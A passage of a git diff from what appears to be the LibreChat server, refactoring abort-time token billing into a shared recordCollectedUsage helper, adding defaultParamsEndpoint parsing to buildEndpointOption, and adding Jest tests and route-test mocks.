+ expect(response.headers['content-type']).toMatch(/html/);
+ });
+
it('should return 500 for unknown errors via ErrorController', async () => {
// Testing the error handling here on top of unit tests to ensure the middleware is correctly integrated
diff --git a/api/server/middleware/abortMiddleware.js b/api/server/middleware/abortMiddleware.js
index d07a09682d..d39b0104a8 100644
--- a/api/server/middleware/abortMiddleware.js
+++ b/api/server/middleware/abortMiddleware.js
@@ -1,17 +1,19 @@
const { logger } = require('@librechat/data-schemas');
const {
- countTokens,
isEnabled,
sendEvent,
+ countTokens,
GenerationJobManager,
+ recordCollectedUsage,
sanitizeMessageForTransmit,
} = require('@librechat/api');
const { isAssistantsEndpoint, ErrorTypes } = require('librechat-data-provider');
+const { saveMessage, getConvo, updateBalance, bulkInsertTransactions } = require('~/models');
const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
const { truncateText, smartTruncateText } = require('~/app/clients/prompts');
+const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
const clearPendingReq = require('~/cache/clearPendingReq');
const { sendError } = require('~/server/middleware/error');
-const { saveMessage, getConvo } = require('~/models');
const { abortRun } = require('./abortRun');
/**
@@ -27,62 +29,35 @@ const { abortRun } = require('./abortRun');
* @param {string} params.conversationId - Conversation ID
* @param {Array} params.collectedUsage - Usage metadata from all models
* @param {string} [params.fallbackModel] - Fallback model name if not in usage
+ * @param {string} [params.messageId] - The response message ID for transaction correlation
*/
-async function spendCollectedUsage({ userId, conversationId, collectedUsage, fallbackModel }) {
+async function spendCollectedUsage({
+ userId,
+ conversationId,
+ collectedUsage,
+ fallbackModel,
+ messageId,
+}) {
if (!collectedUsage || collectedUsage.length === 0) {
return;
}
- const spendPromises = [];
-
- for (const usage of collectedUsage) {
- if (!usage) {
- continue;
- }
-
- // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens)
- const cache_creation =
- Number(usage.input_token_details?.cache_creation) ||
- Number(usage.cache_creation_input_tokens) ||
- 0;
- const cache_read =
- Number(usage.input_token_details?.cache_read) || Number(usage.cache_read_input_tokens) || 0;
-
- const txMetadata = {
- context: 'abort',
- conversationId,
+ await recordCollectedUsage(
+ {
+ spendTokens,
+ spendStructuredTokens,
+ pricing: { getMultiplier, getCacheMultiplier },
+ bulkWriteOps: { insertMany: bulkInsertTransactions, updateBalance },
+ },
+ {
user: userId,
- model: usage.model ?? fallbackModel,
- };
-
- if (cache_creation > 0 || cache_read > 0) {
- spendPromises.push(
- spendStructuredTokens(txMetadata, {
- promptTokens: {
- input: usage.input_tokens,
- write: cache_creation,
- read: cache_read,
- },
- completionTokens: usage.output_tokens,
- }).catch((err) => {
- logger.error('[abortMiddleware] Error spending structured tokens for abort', err);
- }),
- );
- continue;
- }
-
- spendPromises.push(
- spendTokens(txMetadata, {
- promptTokens: usage.input_tokens,
- completionTokens: usage.output_tokens,
- }).catch((err) => {
- logger.error('[abortMiddleware] Error spending tokens for abort', err);
- }),
- );
- }
-
- // Wait for all token spending to complete
- await Promise.all(spendPromises);
+ conversationId,
+ collectedUsage,
+ context: 'abort',
+ messageId,
+ model: fallbackModel,
+ },
+ );
// Clear the array to prevent double-spending from the AgentClient finally block.
// The collectedUsage array is shared by reference with AgentClient.collectedUsage,
@@ -144,6 +119,7 @@ async function abortMessage(req, res) {
conversationId: jobData?.conversationId,
collectedUsage,
fallbackModel: jobData?.model,
+ messageId: jobData?.responseMessageId,
});
} else {
// Fallback: no collected usage, use text-based token counting for primary model only
@@ -292,4 +268,5 @@ const handleAbortError = async (res, req, error, data) => {
module.exports = {
handleAbort,
handleAbortError,
+ spendCollectedUsage,
};
diff --git a/api/server/middleware/abortMiddleware.spec.js b/api/server/middleware/abortMiddleware.spec.js
index 93f2ce558b..795814a928 100644
--- a/api/server/middleware/abortMiddleware.spec.js
+++ b/api/server/middleware/abortMiddleware.spec.js
@@ -4,16 +4,32 @@
* This tests the token spending logic for abort scenarios,
* particularly for parallel agents (addedConvo) where multiple
* models need their tokens spent.
+ *
+ * spendCollectedUsage delegates to recordCollectedUsage from @librechat/api,
+ * passing pricing + bulkWriteOps deps, with context: 'abort'.
+ * After spending, it clears the collectedUsage array to prevent double-spending
+ * from the AgentClient finally block (which shares the same array reference).
*/
const mockSpendTokens = jest.fn().mockResolvedValue();
const mockSpendStructuredTokens = jest.fn().mockResolvedValue();
+const mockRecordCollectedUsage = jest
+ .fn()
+ .mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
+
+const mockGetMultiplier = jest.fn().mockReturnValue(1);
+const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
jest.mock('~/models/spendTokens', () => ({
spendTokens: (...args) => mockSpendTokens(...args),
spendStructuredTokens: (...args) => mockSpendStructuredTokens(...args),
}));
+jest.mock('~/models/tx', () => ({
+ getMultiplier: mockGetMultiplier,
+ getCacheMultiplier: mockGetCacheMultiplier,
+}));
+
jest.mock('@librechat/data-schemas', () => ({
logger: {
debug: jest.fn(),
@@ -30,6 +46,7 @@ jest.mock('@librechat/api', () => ({
GenerationJobManager: {
abortJob: jest.fn(),
},
+ recordCollectedUsage: mockRecordCollectedUsage,
sanitizeMessageForTransmit: jest.fn((msg) => msg),
}));
@@ -49,94 +66,27 @@ jest.mock('~/server/middleware/error', () => ({
sendError: jest.fn(),
}));
+const mockUpdateBalance = jest.fn().mockResolvedValue({});
+const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
jest.mock('~/models', () => ({
saveMessage: jest.fn().mockResolvedValue(),
getConvo: jest.fn().mockResolvedValue({ title: 'Test Chat' }),
+ updateBalance: mockUpdateBalance,
+ bulkInsertTransactions: mockBulkInsertTransactions,
}));
jest.mock('./abortRun', () => ({
abortRun: jest.fn(),
}));
-// Import the module after mocks are set up
-// We need to extract the spendCollectedUsage function for testing
-// Since it's not exported, we'll test it through the handleAbort flow
+const { spendCollectedUsage } = require('./abortMiddleware');
describe('abortMiddleware - spendCollectedUsage', () => {
beforeEach(() => {
jest.clearAllMocks();
});
- describe('spendCollectedUsage logic', () => {
- // Since spendCollectedUsage is not exported, we test the logic directly
- // by replicating the function here for unit testing
-
- const spendCollectedUsage = async ({
- userId,
- conversationId,
- collectedUsage,
- fallbackModel,
- }) => {
- if (!collectedUsage || collectedUsage.length === 0) {
- return;
- }
-
- const spendPromises = [];
-
- for (const usage of collectedUsage) {
- if (!usage) {
- continue;
- }
-
- const cache_creation =
- Number(usage.input_token_details?.cache_creation) ||
- Number(usage.cache_creation_input_tokens) ||
- 0;
- const cache_read =
- Number(usage.input_token_details?.cache_read) ||
- Number(usage.cache_read_input_tokens) ||
- 0;
-
- const txMetadata = {
- context: 'abort',
- conversationId,
- user: userId,
- model: usage.model ?? fallbackModel,
- };
-
- if (cache_creation > 0 || cache_read > 0) {
- spendPromises.push(
- mockSpendStructuredTokens(txMetadata, {
- promptTokens: {
- input: usage.input_tokens,
- write: cache_creation,
- read: cache_read,
- },
- completionTokens: usage.output_tokens,
- }).catch(() => {
- // Log error but don't throw
- }),
- );
- continue;
- }
-
- spendPromises.push(
- mockSpendTokens(txMetadata, {
- promptTokens: usage.input_tokens,
- completionTokens: usage.output_tokens,
- }).catch(() => {
- // Log error but don't throw
- }),
- );
- }
-
- // Wait for all token spending to complete
- await Promise.all(spendPromises);
-
- // Clear the array to prevent double-spending
- collectedUsage.length = 0;
- };
-
+ describe('spendCollectedUsage delegation', () => {
it('should return early if collectedUsage is empty', async () => {
await spendCollectedUsage({
userId: 'user-123',
@@ -145,8 +95,7 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(mockSpendTokens).not.toHaveBeenCalled();
- expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+ expect(mockRecordCollectedUsage).not.toHaveBeenCalled();
});
it('should return early if collectedUsage is null', async () => {
@@ -157,28 +106,10 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(mockSpendTokens).not.toHaveBeenCalled();
- expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+ expect(mockRecordCollectedUsage).not.toHaveBeenCalled();
});
- it('should skip null entries in collectedUsage', async () => {
- const collectedUsage = [
- { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
- null,
- { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
- ];
-
- await spendCollectedUsage({
- userId: 'user-123',
- conversationId: 'convo-123',
- collectedUsage,
- fallbackModel: 'gpt-4',
- });
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
- });
-
- it('should spend tokens for single model', async () => {
+ it('should call recordCollectedUsage with abort context and full deps', async () => {
const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
await spendCollectedUsage({
@@ -186,21 +117,35 @@ describe('abortMiddleware - spendCollectedUsage', () => {
conversationId: 'convo-123',
collectedUsage,
fallbackModel: 'gpt-4',
+ messageId: 'msg-123',
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({
- context: 'abort',
- conversationId: 'convo-123',
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+ {
+ spendTokens: expect.any(Function),
+ spendStructuredTokens: expect.any(Function),
+ pricing: {
+ getMultiplier: mockGetMultiplier,
+ getCacheMultiplier: mockGetCacheMultiplier,
+ },
+ bulkWriteOps: {
+ insertMany: mockBulkInsertTransactions,
+ updateBalance: mockUpdateBalance,
+ },
+ },
+ {
user: 'user-123',
+ conversationId: 'convo-123',
+ collectedUsage,
+ context: 'abort',
+ messageId: 'msg-123',
model: 'gpt-4',
- }),
- { promptTokens: 100, completionTokens: 50 },
+ },
);
});
- it('should spend tokens for multiple models (parallel agents)', async () => {
+ it('should pass context abort for multiple models (parallel agents)', async () => {
const collectedUsage = [
{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
{ input_tokens: 80, output_tokens: 40, model: 'claude-3' },
@@ -214,136 +159,17 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(3);
-
- // Verify each model was called
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 1,
- expect.objectContaining({ model: 'gpt-4' }),
- { promptTokens: 100, completionTokens: 50 },
- );
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 2,
- expect.objectContaining({ model: 'claude-3' }),
- { promptTokens: 80, completionTokens: 40 },
- );
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 3,
- expect.objectContaining({ model: 'gemini-pro' }),
- { promptTokens: 120, completionTokens: 60 },
- );
- });
-
- it('should use fallbackModel when usage.model is missing', async () => {
- const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
-
- await spendCollectedUsage({
- userId: 'user-123',
- conversationId: 'convo-123',
- collectedUsage,
- fallbackModel: 'fallback-model',
- });
-
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'fallback-model' }),
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
expect.any(Object),
+ expect.objectContaining({
+ context: 'abort',
+ collectedUsage,
+ }),
);
});
- it('should use spendStructuredTokens for OpenAI format cache tokens', async () => {
- const collectedUsage = [
- {
- input_tokens: 100,
- output_tokens: 50,
- model: 'gpt-4',
- input_token_details: {
- cache_creation: 20,
- cache_read: 10,
- },
- },
- ];
-
- await spendCollectedUsage({
- userId: 'user-123',
- conversationId: 'convo-123',
- collectedUsage,
- fallbackModel: 'gpt-4',
- });
-
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendTokens).not.toHaveBeenCalled();
- expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'gpt-4', context: 'abort' }),
- {
- promptTokens: {
- input: 100,
- write: 20,
- read: 10,
- },
- completionTokens: 50,
- },
- );
- });
-
- it('should use spendStructuredTokens for Anthropic format cache tokens', async () => {
- const collectedUsage = [
- {
- input_tokens: 100,
- output_tokens: 50,
- model: 'claude-3',
- cache_creation_input_tokens: 25,
- cache_read_input_tokens: 15,
- },
- ];
-
- await spendCollectedUsage({
- userId: 'user-123',
- conversationId: 'convo-123',
- collectedUsage,
- fallbackModel: 'claude-3',
- });
-
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendTokens).not.toHaveBeenCalled();
- expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'claude-3' }),
- {
- promptTokens: {
- input: 100,
- write: 25,
- read: 15,
- },
- completionTokens: 50,
- },
- );
- });
-
- it('should handle mixed cache and non-cache entries', async () => {
- const collectedUsage = [
- { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
- {
- input_tokens: 150,
- output_tokens: 30,
- model: 'claude-3',
- cache_creation_input_tokens: 20,
- cache_read_input_tokens: 10,
- },
- { input_tokens: 200, output_tokens: 20, model: 'gemini-pro' },
- ];
-
- await spendCollectedUsage({
- userId: 'user-123',
- conversationId: 'convo-123',
- collectedUsage,
- fallbackModel: 'gpt-4',
- });
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
- });
-
it('should handle real-world parallel agent abort scenario', async () => {
- // Simulates: Primary agent (gemini) + addedConvo agent (gpt-5) aborted mid-stream
const collectedUsage = [
{ input_tokens: 31596, output_tokens: 151, model: 'gemini-3-flash-preview' },
{ input_tokens: 28000, output_tokens: 120, model: 'gpt-5.2' },
@@ -356,27 +182,24 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gemini-3-flash-preview',
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
-
- // Primary model
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 1,
- expect.objectContaining({ model: 'gemini-3-flash-preview' }),
- { promptTokens: 31596, completionTokens: 151 },
- );
-
- // Parallel model (addedConvo)
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 2,
- expect.objectContaining({ model: 'gpt-5.2' }),
- { promptTokens: 28000, completionTokens: 120 },
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+ expect.any(Object),
+ expect.objectContaining({
+ user: 'user-123',
+ conversationId: 'convo-123',
+ context: 'abort',
+ model: 'gemini-3-flash-preview',
+ }),
);
});
+ /**
+ * Race condition prevention: after abort middleware spends tokens,
+ * the collectedUsage array is cleared so AgentClient.recordCollectedUsage()
+ * (which shares the same array reference) sees an empty array and returns early.
+ */
it('should clear collectedUsage array after spending to prevent double-spending', async () => {
- // This tests the race condition fix: after abort middleware spends tokens,
- // the collectedUsage array is cleared so AgentClient.recordCollectedUsage()
- // (which shares the same array reference) sees an empty array and returns early.
const collectedUsage = [
{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
{ input_tokens: 80, output_tokens: 40, model: 'claude-3' },
@@ -391,19 +214,16 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
-
- // The array should be cleared after spending
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
expect(collectedUsage.length).toBe(0);
});
- it('should await all token spending operations before clearing array', async () => {
- // Ensure we don't clear the array before spending completes
- let spendCallCount = 0;
- mockSpendTokens.mockImplementation(async () => {
- spendCallCount++;
- // Simulate async delay
+ it('should await recordCollectedUsage before clearing array', async () => {
+ let resolved = false;
+ mockRecordCollectedUsage.mockImplementation(async () => {
await new Promise((resolve) => setTimeout(resolve, 10));
+ resolved = true;
+ return { input_tokens: 100, output_tokens: 50 };
});
const collectedUsage = [
@@ -418,10 +238,7 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- // Both spend calls should have completed
- expect(spendCallCount).toBe(2);
-
- // Array should be cleared after awaiting
+ expect(resolved).toBe(true);
expect(collectedUsage.length).toBe(0);
});
});
diff --git a/api/server/middleware/buildEndpointOption.js b/api/server/middleware/buildEndpointOption.js
index f56d850120..64ed8e7466 100644
--- a/api/server/middleware/buildEndpointOption.js
+++ b/api/server/middleware/buildEndpointOption.js
@@ -5,9 +5,11 @@ const {
EModelEndpoint,
isAgentsEndpoint,
parseCompactConvo,
+ getDefaultParamsEndpoint,
} = require('librechat-data-provider');
const azureAssistants = require('~/server/services/Endpoints/azureAssistants');
const assistants = require('~/server/services/Endpoints/assistants');
+const { getEndpointsConfig } = require('~/server/services/Config');
const agents = require('~/server/services/Endpoints/agents');
const { updateFilesUsage } = require('~/models');
@@ -19,9 +21,24 @@ const buildFunction = {
async function buildEndpointOption(req, res, next) {
const { endpoint, endpointType } = req.body;
+
+ let endpointsConfig;
+ try {
+ endpointsConfig = await getEndpointsConfig(req);
+ } catch (error) {
+ logger.error('Error fetching endpoints config in buildEndpointOption', error);
+ }
+
+ const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, endpoint);
+
let parsedBody;
try {
- parsedBody = parseCompactConvo({ endpoint, endpointType, conversation: req.body });
+ parsedBody = parseCompactConvo({
+ endpoint,
+ endpointType,
+ conversation: req.body,
+ defaultParamsEndpoint,
+ });
} catch (error) {
logger.error(`Error parsing compact conversation for endpoint ${endpoint}`, error);
logger.debug({
@@ -55,6 +72,7 @@ async function buildEndpointOption(req, res, next) {
endpoint,
endpointType,
conversation: currentModelSpec.preset,
+ defaultParamsEndpoint,
});
if (currentModelSpec.iconURL != null && currentModelSpec.iconURL !== '') {
parsedBody.iconURL = currentModelSpec.iconURL;
diff --git a/api/server/middleware/buildEndpointOption.spec.js b/api/server/middleware/buildEndpointOption.spec.js
new file mode 100644
index 0000000000..eab5e2666b
--- /dev/null
+++ b/api/server/middleware/buildEndpointOption.spec.js
@@ -0,0 +1,237 @@
+/**
+ * Wrap parseCompactConvo: the REAL function runs, but jest can observe
+ * calls and return values. Must be declared before require('./buildEndpointOption')
+ * so the destructured reference in the middleware captures the wrapper.
+ */
+jest.mock('librechat-data-provider', () => {
+ const actual = jest.requireActual('librechat-data-provider');
+ return {
+ ...actual,
+ parseCompactConvo: jest.fn((...args) => actual.parseCompactConvo(...args)),
+ };
+});
+
+const { EModelEndpoint, parseCompactConvo } = require('librechat-data-provider');
+
+const mockBuildOptions = jest.fn((_endpoint, parsedBody) => ({
+ ...parsedBody,
+ endpoint: _endpoint,
+}));
+
+jest.mock('~/server/services/Endpoints/azureAssistants', () => ({
+ buildOptions: mockBuildOptions,
+}));
+jest.mock('~/server/services/Endpoints/assistants', () => ({
+ buildOptions: mockBuildOptions,
+}));
+jest.mock('~/server/services/Endpoints/agents', () => ({
+ buildOptions: mockBuildOptions,
+}));
+
+jest.mock('~/models', () => ({
+ updateFilesUsage: jest.fn(),
+}));
+
+const mockGetEndpointsConfig = jest.fn();
+jest.mock('~/server/services/Config', () => ({
+ getEndpointsConfig: (...args) => mockGetEndpointsConfig(...args),
+}));
+
+jest.mock('@librechat/api', () => ({
+ handleError: jest.fn(),
+}));
+
+const buildEndpointOption = require('./buildEndpointOption');
+
+const createReq = (body, config = {}) => ({
+ body,
+ config,
+ baseUrl: '/api/chat',
+});
+
+const createRes = () => ({
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn().mockReturnThis(),
+});
+
+describe('buildEndpointOption - defaultParamsEndpoint parsing', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ });
+
+ it('should pass defaultParamsEndpoint to parseCompactConvo and preserve maxOutputTokens', async () => {
+ mockGetEndpointsConfig.mockResolvedValue({
+ AnthropicClaude: {
+ type: EModelEndpoint.custom,
+ customParams: {
+ defaultParamsEndpoint: EModelEndpoint.anthropic,
+ },
+ },
+ });
+
+ const req = createReq(
+ {
+ endpoint: 'AnthropicClaude',
+ endpointType: EModelEndpoint.custom,
+ model: 'anthropic/claude-opus-4.5',
+ temperature: 0.7,
+ maxOutputTokens: 8192,
+ topP: 0.9,
+ maxContextTokens: 50000,
+ },
+ { modelSpecs: null },
+ );
+
+ await buildEndpointOption(req, createRes(), jest.fn());
+
+ expect(parseCompactConvo).toHaveBeenCalledWith(
+ expect.objectContaining({
+ defaultParamsEndpoint: EModelEndpoint.anthropic,
+ }),
+ );
+
+ const parsedResult = parseCompactConvo.mock.results[0].value;
+ expect(parsedResult.maxOutputTokens).toBe(8192);
+ expect(parsedResult.topP).toBe(0.9);
+ expect(parsedResult.temperature).toBe(0.7);
+ expect(parsedResult.maxContextTokens).toBe(50000);
+ });
+
+ it('should strip maxOutputTokens when no defaultParamsEndpoint is configured', async () => {
+ mockGetEndpointsConfig.mockResolvedValue({
+ MyOpenRouter: {
+ type: EModelEndpoint.custom,
+ },
+ });
+
+ const req = createReq(
+ {
+ endpoint: 'MyOpenRouter',
+ endpointType: EModelEndpoint.custom,
+ model: 'gpt-4o',
+ temperature: 0.7,
+ maxOutputTokens: 8192,
+ max_tokens: 4096,
+ },
+ { modelSpecs: null },
+ );
+
+ await buildEndpointOption(req, createRes(), jest.fn());
+
+ expect(parseCompactConvo).toHaveBeenCalledWith(
+ expect.objectContaining({
+ defaultParamsEndpoint: undefined,
+ }),
+ );
+
+ const parsedResult = parseCompactConvo.mock.results[0].value;
+ expect(parsedResult.maxOutputTokens).toBeUndefined();
+ expect(parsedResult.max_tokens).toBe(4096);
+ expect(parsedResult.temperature).toBe(0.7);
+ });
+
+ it('should strip bedrock region from custom endpoint without defaultParamsEndpoint', async () => {
+ mockGetEndpointsConfig.mockResolvedValue({
+ MyEndpoint: {
+ type: EModelEndpoint.custom,
+ },
+ });
+
+ const req = createReq(
+ {
+ endpoint: 'MyEndpoint',
+ endpointType: EModelEndpoint.custom,
+ model: 'gpt-4o',
+ temperature: 0.7,
+ region: 'us-east-1',
+ },
+ { modelSpecs: null },
+ );
+
+ await buildEndpointOption(req, createRes(), jest.fn());
+
+ const parsedResult = parseCompactConvo.mock.results[0].value;
+ expect(parsedResult.region).toBeUndefined();
+ expect(parsedResult.temperature).toBe(0.7);
+ });
+
+ it('should pass defaultParamsEndpoint when re-parsing enforced model spec', async () => {
+ mockGetEndpointsConfig.mockResolvedValue({
+ AnthropicClaude: {
+ type: EModelEndpoint.custom,
+ customParams: {
+ defaultParamsEndpoint: EModelEndpoint.anthropic,
+ },
+ },
+ });
+
+ const modelSpec = {
+ name: 'claude-opus-4.5',
+ preset: {
+ endpoint: 'AnthropicClaude',
+ endpointType: EModelEndpoint.custom,
+ model: 'anthropic/claude-opus-4.5',
+ temperature: 0.7,
+ maxOutputTokens: 8192,
+ maxContextTokens: 50000,
+ },
+ };
+
+ const req = createReq(
+ {
+ endpoint: 'AnthropicClaude',
+ endpointType: EModelEndpoint.custom,
+ spec: 'claude-opus-4.5',
+ model: 'anthropic/claude-opus-4.5',
+ },
+ {
+ modelSpecs: {
+ enforce: true,
+ list: [modelSpec],
+ },
+ },
+ );
+
+ await buildEndpointOption(req, createRes(), jest.fn());
+
+ const enforcedCall = parseCompactConvo.mock.calls[1];
+ expect(enforcedCall[0]).toEqual(
+ expect.objectContaining({
+ defaultParamsEndpoint: EModelEndpoint.anthropic,
+ }),
+ );
+
+ const enforcedResult = parseCompactConvo.mock.results[1].value;
+ expect(enforcedResult.maxOutputTokens).toBe(8192);
+ expect(enforcedResult.temperature).toBe(0.7);
+ expect(enforcedResult.maxContextTokens).toBe(50000);
+ });
+
+ it('should fall back to OpenAI schema when getEndpointsConfig fails', async () => {
+ mockGetEndpointsConfig.mockRejectedValue(new Error('Config unavailable'));
+
+ const req = createReq(
+ {
+ endpoint: 'AnthropicClaude',
+ endpointType: EModelEndpoint.custom,
+ model: 'anthropic/claude-opus-4.5',
+ temperature: 0.7,
+ maxOutputTokens: 8192,
+ max_tokens: 4096,
+ },
+ { modelSpecs: null },
+ );
+
+ await buildEndpointOption(req, createRes(), jest.fn());
+
+ expect(parseCompactConvo).toHaveBeenCalledWith(
+ expect.objectContaining({
+ defaultParamsEndpoint: undefined,
+ }),
+ );
+
+ const parsedResult = parseCompactConvo.mock.results[0].value;
+ expect(parsedResult.maxOutputTokens).toBeUndefined();
+ expect(parsedResult.max_tokens).toBe(4096);
+ });
+});
diff --git a/api/server/middleware/checkSharePublicAccess.js b/api/server/middleware/checkSharePublicAccess.js
index c094d54acb..0e95b9f6f8 100644
--- a/api/server/middleware/checkSharePublicAccess.js
+++ b/api/server/middleware/checkSharePublicAccess.js
@@ -9,6 +9,7 @@ const resourceToPermissionType = {
[ResourceType.AGENT]: PermissionTypes.AGENTS,
[ResourceType.PROMPTGROUP]: PermissionTypes.PROMPTS,
[ResourceType.MCPSERVER]: PermissionTypes.MCP_SERVERS,
+ [ResourceType.REMOTE_AGENT]: PermissionTypes.REMOTE_AGENTS,
};
/**
diff --git a/api/server/middleware/limiters/forkLimiters.js b/api/server/middleware/limiters/forkLimiters.js
index e0aa65700c..f1e9b15f11 100644
--- a/api/server/middleware/limiters/forkLimiters.js
+++ b/api/server/middleware/limiters/forkLimiters.js
@@ -48,7 +48,7 @@ const createForkHandler = (ip = true) => {
};
await logViolation(req, res, type, errorMessage, forkViolationScore);
- res.status(429).json({ message: 'Too many conversation fork requests. Try again later' });
+ res.status(429).json({ message: 'Too many requests. Try again later' });
};
};
diff --git a/api/server/middleware/requireJwtAuth.js b/api/server/middleware/requireJwtAuth.js
index ed83c4773e..16b107aefc 100644
--- a/api/server/middleware/requireJwtAuth.js
+++ b/api/server/middleware/requireJwtAuth.js
@@ -7,16 +7,13 @@ const { isEnabled } = require('@librechat/api');
* Switches between JWT and OpenID authentication based on cookies and environment settings
*/
const requireJwtAuth = (req, res, next) => {
- // Check if token provider is specified in cookies
const cookieHeader = req.headers.cookie;
const tokenProvider = cookieHeader ? cookies.parse(cookieHeader).token_provider : null;
- // Use OpenID authentication if token provider is OpenID and OPENID_REUSE_TOKENS is enabled
if (tokenProvider === 'openid' && isEnabled(process.env.OPENID_REUSE_TOKENS)) {
return passport.authenticate('openidJwt', { session: false })(req, res, next);
}
- // Default to standard JWT authentication
return passport.authenticate('jwt', { session: false })(req, res, next);
};
diff --git a/api/server/routes/__test-utils__/convos-route-mocks.js b/api/server/routes/__test-utils__/convos-route-mocks.js
new file mode 100644
index 0000000000..f89b77db3f
--- /dev/null
+++ b/api/server/routes/__test-utils__/convos-route-mocks.js
@@ -0,0 +1,93 @@
+module.exports = {
+ agents: () => ({ sleep: jest.fn() }),
+
+ api: (overrides = {}) => ({
+ isEnabled: jest.fn(),
+ resolveImportMaxFileSize: jest.fn(() => 262144000),
+ createAxiosInstance: jest.fn(() => ({
+ get: jest.fn(),
+ post: jest.fn(),
+ put: jest.fn(),
+ delete: jest.fn(),
+ })),
+ logAxiosError: jest.fn(),
+ ...overrides,
+ }),
+
+ dataSchemas: () => ({
+ logger: {
+ debug: jest.fn(),
+ info: jest.fn(),
+ warn: jest.fn(),
+ error: jest.fn(),
+ },
+ createModels: jest.fn(() => ({
+ User: {},
+ Conversation: {},
+ Message: {},
+ SharedLink: {},
+ })),
+ }),
+
+ dataProvider: (overrides = {}) => ({
+ CacheKeys: { GEN_TITLE: 'GEN_TITLE' },
+ EModelEndpoint: {
+ azureAssistants: 'azureAssistants',
+ assistants: 'assistants',
+ },
+ ...overrides,
+ }),
+
+ conversationModel: () => ({
+ getConvosByCursor: jest.fn(),
+ getConvo: jest.fn(),
+ deleteConvos: jest.fn(),
+ saveConvo: jest.fn(),
+ }),
+
+ toolCallModel: () => ({ deleteToolCalls: jest.fn() }),
+
+ sharedModels: () => ({
+ deleteAllSharedLinks: jest.fn(),
+ deleteConvoSharedLink: jest.fn(),
+ }),
+
+ requireJwtAuth: () => (req, res, next) => next(),
+
+ middlewarePassthrough: () => ({
+ createImportLimiters: jest.fn(() => ({
+ importIpLimiter: (req, res, next) => next(),
+ importUserLimiter: (req, res, next) => next(),
+ })),
+ createForkLimiters: jest.fn(() => ({
+ forkIpLimiter: (req, res, next) => next(),
+ forkUserLimiter: (req, res, next) => next(),
+ })),
+ configMiddleware: (req, res, next) => next(),
+ validateConvoAccess: (req, res, next) => next(),
+ }),
+
+ forkUtils: () => ({
+ forkConversation: jest.fn(),
+ duplicateConversation: jest.fn(),
+ }),
+
+ importUtils: () => ({ importConversations: jest.fn() }),
+
+ logStores: () => jest.fn(),
+
+ multerSetup: () => ({
+ storage: {},
+ importFileFilter: jest.fn(),
+ }),
+
+ multerLib: () =>
+ jest.fn(() => ({
+ single: jest.fn(() => (req, res, next) => {
+ req.file = { path: '/tmp/test-file.json' };
+ next();
+ }),
+ })),
+
+ assistantEndpoint: () => ({ initializeClient: jest.fn() }),
+};
diff --git a/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js b/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js
new file mode 100644
index 0000000000..788119a569
--- /dev/null
+++ b/api/server/routes/__tests__/convos-duplicate-ratelimit.spec.js
@@ -0,0 +1,135 @@
+const express = require('express');
+const request = require('supertest');
+
+const MOCKS = '../__test-utils__/convos-route-mocks';
+
+jest.mock('@librechat/agents', () => require(MOCKS).agents());
+jest.mock('@librechat/api', () => require(MOCKS).api({ limiterCache: jest.fn(() => undefined) }));
+jest.mock('@librechat/data-schemas', () => require(MOCKS).dataSchemas());
+jest.mock('librechat-data-provider', () =>
+ require(MOCKS).dataProvider({ ViolationTypes: { FILE_UPLOAD_LIMIT: 'file_upload_limit' } }),
+);
+
+jest.mock('~/cache/logViolation', () => jest.fn().mockResolvedValue(undefined));
+jest.mock('~/cache/getLogStores', () => require(MOCKS).logStores());
